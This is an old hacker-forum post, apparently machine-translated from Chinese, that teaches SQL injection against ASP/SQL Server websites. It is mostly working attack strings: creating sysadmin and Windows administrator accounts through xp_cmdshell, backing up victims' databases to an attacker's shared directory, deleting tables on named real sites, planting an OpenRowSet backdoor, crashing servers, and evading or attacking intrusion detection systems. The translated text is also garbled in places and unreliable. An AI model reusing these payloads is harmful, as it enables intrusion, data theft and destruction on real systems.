details:
For many news, BBS and e-commerce websites use ASP SQL design, and many programmers who write ASP (there are many new graduation), so ASP SQL's attack success rate is also relatively high. This type of attack method and NT version and SQL version have no big relationship, and there is no corresponding patch because the vulnerability is caused by the programmer, and most of the books of the ASP programming, the source code example has this vulnerability In fact, only some legal ASP requests for SQL, leave after the suffering!
This kind of attack method originated from OR1 = 1 vulnerability (we call it as a vulnerability), this vulnerability, I think everyone should know, then, then,
Sp_addlogin Hax (add a HAX user in the database), but this method is limited, first, the SQL Server account used by the ASP is an administrator, followed by the submission variable in the entire SQL statement, because there are some programmers to use Select. * From news where id = ... and Topic = ... and .....
This method requests a database, then if it is still used with the above example
News.asp? id = 2; Exec sp_addlogin HAX
Change Select * from news where id = 2; exec sp_addlogin hax and topic = ...
The entire SQL statement has an AND and judgment in the stored procedure of sp_addlogin, the syntax error, your sp_addlogin naturally does not run normally, so try to see the following method
News.asp? id = 2; exec sp_addlogin Hax; -
The back-symbol turns the judgment statement after sp_addlogin to comment, so there is no syntax error, sp_addlogin is executed normally!
So let's use it together.
News.asp? id = 2; exec master.dbo.sp_addlogin Hax; -
News.asp? id = 2; exec master.dbo.sp_password null, hax, hax;
News.asp? id = 2; exec master.dbo.sp_addsrvrolemember sysadmin Hax;
News.asp? id = 2; exec master.dbo.xp_cmdshell net user Hax / workstations: * / Times: All / Passwordchg: Yes / PasswordReq: YES
/ ACTIVE: YES / ADD; -
News.asp? id = 2; exec master.dbo.xp_cmdshell net localgroup administrators hax / add;
This way, you have left HAX administrators in his database and system.
Of course, the prerequisites are ASPs to use the administrator account, so don't tried the virtual space, there will be no such loopholes.
We will discuss later, if the other ASP does not use the SQL administrator account, how we invade, of course, will also involve the invasion of the 1433 port
Of course, everyone can try to look at the ID = 2, add a symbol, mainly to see how the other party's ASP is written.
Let's talk about how we do when the SQL account used by the ASP program is not administrator.
You have news content as the homepage of Heaven, as follows:
Http://www.talent.com.cn/news/news-2.asp?newid=117 you can try to see http://www.talentitit.com.cn/news/news-2.asp?newid=117 ; SELECT 123; -
Oh, the report syntax is wrong, SELECT 123 is wrong, obvious, Tianle new ASP ends after the NewID variable
Try to see http://www.talent.Com.cn/news/news-2.asp?newid=117; Delete News;
Haha, I think as long as the expression is guessed, the news base is deleted.
Usually the SQL account for ASP is not an administrator or an Owner of a database, at least for this library has high management privileges. But we don't know how the library is? Take a look at the db_name () function. Open your Query Analyzer to see Print db_name (), huh, the current database name is coming out! Push it in subclasses, as follows:
Declare @A sysname; set @ a = db_name (); backup database @a to disk = your IP Your shared directory Bak.dat, Name = TEST; -
Oh, his current database is backed up to your hard disk, you will understand that everyone will understand.
Similarly, this method can find the other's SQL IP.
First, a firewall, open the warning tips for ICMP and 139TCP and 445TCP.
Then try seeing news.asp? Id = 2; exec master.dbo.xp_cmdshell ping your IP
If the firewall prompts someone ping you, then it can be sure the other ASP is SQL administrator privilege, and it also determines the exact location of the other SQL Server, because many of the big websites consider performance, WEB services and The database is separated, and when the other party does not see the source code, I think there is only this method to locate the position of the other SQL Server. So, if the other ASP does not have SQL administrator privileges, we can't call XP_cmdshell, what should I do? Don't worry, try this news.asp? Id = 2; declare @A; set @ a = db_name (); backup database @a to disk = Your IP Your shared directory Bak.dat
Name = TEST;
Oh, your firewall should make a warning, some people connect to your 445 or 139 (Win9 port, so that the other SQL IP can also be exposed. So if the other database is not Owner, we should Do it next time I will tell you a better way.
In fact, Backuo Database is still a bit exaggerated. If the other database is very large, you are dialing Internet, huh, huh, persuade you to do not try, it is difficult to successfully transfer, we will talk about how to deceive IDS to perform ASP SQL invasion
There are some good IDs that have begun to monitor the keywords of xp_cmdshell.
Ok, comrades see it next time.
All the above URLs I hope that everyone will submit through VBScript because the browser's address bar will block some special characters, so your command cannot be fully transmitted.
Window.location.herf = URL
Supplement: This issue has also been raised on the online network, but only some simple XP_cmdshell call limit is very large, in fact, there are many places worth in-depth, such as
Www.guosen.com.cn. There is this problem with the national agency certificate, and they use the three-story structure of the MS to use the XP_cmdshell approach to the previous XP_cmdshell, and the string will be filtered, but I tried, the use of SQL's heterogeneous requests can still be on the other. Machine Open the account of Telnet service and administrators group! Since the other firewall is very checker, checkpoint datagram
Only open the 80-port, therefore, if you want to get his database structure is more difficult, but there is still a way to do: P
By the way, please pay attention to SQLOLEDB, DB_NAME, OPENROWSET, OpenDataSource These system functions When the ASP's SQLServer account is just a normal user, they will
Very useful!
SQL Server new vulnerabilities and some breakthroughs
Below I will talk about some SQLServer new bugs, although I have been working hard, of course, I have a little lucky component, I can find that I don't dare to enjoy alone, take it out, please
Identification, of course, some masters have long been known, after all, I have been in contact with SQLServer for less than 1 year: P
1. About OpenRowSet and OpenDataSource
Maybe this skill has already been there, that is, using OpenRowSet to send a local command.
Usually our usage is (including MSDN's list) as follows
Select * from OpenRowset (Sqloledb, MyServer; Sa; SELECT * from Table)
It can be seen (even in the literal sense) OpenRowset is just as a quick remote database access, it must be followed in SELECT, that is, if you need to return a recordset
So can we use it to call XP_CMDSHELL? The answer is yes!
Select * from OpenRowSet (SQLOLDB, Server; SA; SET FMTONLY OFF EXEC MASTER.DBO.XP_CMDSHELL DIR C: /)
Must add the set fmtonly off to block the default return to the settings of the column information, so the output collection returned by xp_cmdshell will be submitted to the front Select display, if adopted
Default settings, will return empty sets, resulting in select errors, and commands cannot be executed.
So if we want to call sp_addlogin, he will not return any collection as XP_cmdshell, we can't rely on FMTONLY, you can do the following
Select * from OpenRowset (Sqloledb, Server; Sa; SA; SELECT OK! EXEC MASTER.DBO.SP_ADDLOGIN HECTIC)
In this way, the command will return at least the collection of SELECT OK! Your machine chamber shows OK! And the other's database will also add a hectic account, that is, we use
SELECT OK! The return collection deceives the local SELECT request, is the command to be executed normally, the cleaning sp_addsrvroleMember and OpenDataSource can also do this! Until
This method is really useful, everyone thinks,: P
2. Problems about MSDasql twice
I don't know if you have tried to connect the remote database with MSDasql. Of course, this API must be the administrator of SQL Server to call, so as follows
SELECT * from OpenRowSet (Msdasql, Driver = {SQL
Server}; server = server; address = server, 1433; uid = sa; pwd =; database = master; network = dbmsoCN, SELECT * home1 select * frOle2)
When the number of fields of table1 and table2 is different, you will find that the other's SQLServer crashes, and even local connections will fail, and system resources are occupied, and they will kill with pskill.
After the SQLServer process, if the machine is not restarted, SQL Server does not start normally, or often illegal operations, I just happen to find this bug, I haven't been there.
Talking, and very strange is that this phenomenon only appears on MSDasql. Sqloledb has no such problem. It seems that the problem is not that the number of collections and the number of returns do not match, because
It is also a problem with MSDasql itself, for specific reasons, let's study together: P
3. Terrible back door
I used to see someone on the Internet, say that the latter door stayed in SQL Server can be done by adding Triger, Jobs or rewriting sp_addlogin and sp_addsrvrolemember, and these methods are of course feasible.
But it is easy to find. I don't know if you have thought about the local connection map of SQLOLOLDB. Oh, such as you have executed with SQL Server administrator account on the other side's SQL Server.
Down command
Select * from OpenRowSet (Sqloledb, Trusted_Connection = YES; Data Source = HEC, SET FMTONLY OFF EXEC MASTER..XP_CMDSHELL
DIR C: /)
This creates a local connection mapping called hectic on the other side's SQL Server, as long as SQL Server does not restart, this map will always exist, at least I don't know now.
How to send the connection mapped by others, well, after the above command runs, you will find that even if SQL Server does not have any permissions, you can run the above command! And the permissions are
Localsystem! (Default installation) huh! This method can be used to leave a back door with SQL Server that has been invaded by administrator privileges.
The above method passes on SQL Server2000 SQLServer 200SP1!
* There is another guess. I don't know if you haven't pay more attention to the two DSNs included with Windows. One is the LocalServer one is MSQi. These two are local management when establishing
If the account is connected to SQLServer, if the other party's SQL Server starts through custom Power User, then SA's permissions are the same as Power User, but it is difficult to make it.
We pass the following command
Select * from OpenRowSet (MSDasql, DSN = Locaserver; trusted_connection = yes, set fmtonly off exec master..xp_cmdshell dir
C: /) You should use the local SQL Server's administrator account to connect to the local SQLServer and then perform local commands with this account permission. This is, I think it should be able to break through the SA.
Power User permissions. The problem now is that SQLOLEDB cannot call the DSN connection, and the MSDASQL non-administrator does not call, so I am looking for a method of guest call MSDasql,
If someone knows how this bug breaks through, or there is a new idea, we can discuss together, if this issue can be successfully used by Guest, it will be a very serious security vulnerability.
Because any SQL statement mentioned earlier can be submitted to the other party ASP to help us execute: P
Use T-SQL to deceive IDS or attack IDS
The current IDS has become more and smarter.
Some IDs have added XP_CMDSHELL SP_ADDLOGIN monitoring
However, after all, there is no presence of artificial intelligence, this surveillance always has a sense of deception.
Let me talk about deception IDS:
Ids Since we monitor the XP_cmdshell keyword, then we can do this
Declare @a sysname set @ a = "xp _" "cmdshell" EXEC @a Dir C: /
This code is like everyone understands, and XP_cmdshell is a Store Procedure there is a ID number in the Master library, fixed, we can also do this.
Suppose this id = 988456
Declare @a sysname select @ a = name from sysobjects where id = 988456 exec @a Dir C: /
Of course
Declare @a sysname select @ a = name from sysobjects where id = 988455 1 exec @A DIR C: /
This approach is arranged, and IDS can't do it all over.
Similarly, sp_addlogin can also do this
Let's talk about attack IDs:
Because the amount of IDS is large, day is usually backed up to regular database, such as SQL Server
If you use an old RecordSet.Addnew approach, it will seriously affect the performance of the IDS, because T-SQL requests are made through ADO, not only high efficiency, but also some work can be handed over to SQL Server
Go to do
Usually the program will write so
INSERT TABLE VALUES (Day to Content, ...)
So I think about it, if used
TEMP) EXEC XP_CMDSHELL DIR C: / -
Change it after submission
INSERT TABLE VALUES (Day to Content .... Temp) EXEC XP_CMDSHELL DIR C: / -)
In this way, XP_cmdshell can run in the IDS database :)
Of course, IDS is a sniper, he will catch all the news, while the browser is submitted to change the space into% 20
Therefore,% 20 will be submitted to SQL Server so that your command cannot be executed.
The only way is
INSERT / ** / TABLE / ** / VALUES (Day to Content .... Temp) / ** / EXEC / ** / XP_CMDSHELL / ** / DIR C: // ** / -)
Use / ** / instead of space to do spacer, so your T-SQL can execute within IDs database
It is also possible to use other statements, you can destroy, back up the IDS database to your shared directory.
Ha ha
In fact, the principles of this method are the same, just turning spaces / ** /
Original ASP is a SELECT statement, so you can shield
Now ids uses insert statements, then use) shield
Ok, many other new invasive statements can slowly think, the best test tool is Query Analyzer.
Note: SZW Published on 2002-01-15 08:21:02 Hacker China Network Technology Alliance Forum